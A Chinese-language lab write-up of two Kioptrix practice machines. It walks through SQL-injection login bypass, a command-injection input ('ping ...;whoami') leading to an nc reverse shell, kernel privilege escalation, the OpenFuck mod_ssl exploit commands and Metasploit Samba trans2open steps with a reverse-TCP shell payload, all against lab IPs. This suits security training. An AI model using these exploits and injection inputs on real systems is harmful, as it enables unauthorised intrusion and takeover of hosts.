HTB-Kioptix level 2

0x01 主机发现

0x02 端口扫描

常见端口开放服务如下:

  • 80端口:http服务
  • 443端口:https服务
  • 3306端口:mysql数据库

访问页面搜集信息

抓包查看

0x03 SQL注入登录

方法一:注入数据库获取登录凭证

最终拿到两个用户名和密码密文

方法二:万能密码登录

登录成功

0x04 RCE

页面功能为能输入一个地址提交,系统将ping此地址

此结果和kali的ping结果相同,猜测该应用系统在后端将提交的参数使用终端执行,因为终端中可用 ; 将两条 命令整合为一条,因此我们输入 ping 192.168.6.129;whoami 查看是否执行了 whoami 命令

nc监听并利用RCE反弹shell

找到可写入目录使用脚本扫描

可内核提权(真实环境不推荐该方法,容易造成宕机崩溃等风险情况)

0x05 内核提权

选择版本针对性强的exp降低风险

针对当前版本的exp结果成功获得root权限

普适版本的exp直接造成崩溃

0x06 总结

  • 发现注入,使用注入获取合法凭证或利用注入绕过登录
  • 利用应用系统功能进行RCE获取终端权限
  • 利用LinEnum对系统信息进行进一步搜集以便提权
  • 利用内核提权漏洞提权
  • 尽量使用针对版本的而不是普适的,容易造成目标机器崩溃死机等,应降低该情况的发生。

HTB-Kioptix level 1

0x01 修改网络环境

Kioptix靶机默认为网络桥接模式,个人将修改为NAT模式便于使用。

  • 关闭Kioptix level 1 VM并移除网络适配器
  • 从VMware中移除VM
  • 浏览KioptixVM的vmx文件的位置并用文本编辑器打开
  • 删除所有以 ethernet0 开头的条目并保存更改
  • 重新导入虚拟机,并增加网络设备器,改为NAT模式。

0x02 主机发现

0x03 端口扫描

常见端口如下:

  • 80端口:HTTP服务
  • 443端口:HTTPS服务
  • 139端口:Samba服务

访问80端口为Apache测试页面

443端口内容同上

web未发现有价值信息,但扫描报告提供了价值信息

Apache 1.3.20版本。同时可以发现443端口的ssl服务也是上古版本,mod_ssl/2.8.4

0x04 过时即风险

mod_ssl 2.8.4存在缓冲区溢出漏洞,使用exp报错如下

使用命令 apt-get install libssl-dev 安装libssl-dev解决报错。

再次进行编译

获取使用说明,并根据目标操作系统、Apache版本选择不同参数,此处为RedHat Linux、Apache 1.3.20,满

足这两个条件的分别为0x6a和0x6b

0x05 mod_ssl缓冲区溢出

./OpenFuck 0x6a 192.168.6.131 443

./OpenFuck 0x6b 192.168.6.131 443

0x6a失败

0x6b成功

拿到了一个apache用户,正常这里是能直接拿到root用户的,因为有部分文件在墙外无法执行,所以只能使用apache用户进行提权了

0x06 Samba远程命令执行

MSF扫一下版本

msfconsole
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS=192.168.6.131
run

获取到版本samba版本为2.2.1a,搜索相关漏洞

use exploit/linux/samba/trans2open
show options
set rhost 192.168.6.131
set payload linux/x86/shell_reverse_tcp
run

0x07 总结

  • 虚拟机文件中修改对应内容,更改虚拟机网络模式
  • http与https的内容可能不同,应区别测试
  • 域名和Ip访问的结果可能不同,应区别测试
  • 443端口mod_ssl缓冲区溢出漏洞
  • 139端口samba缓冲区溢出漏洞
  • 使用反弹shell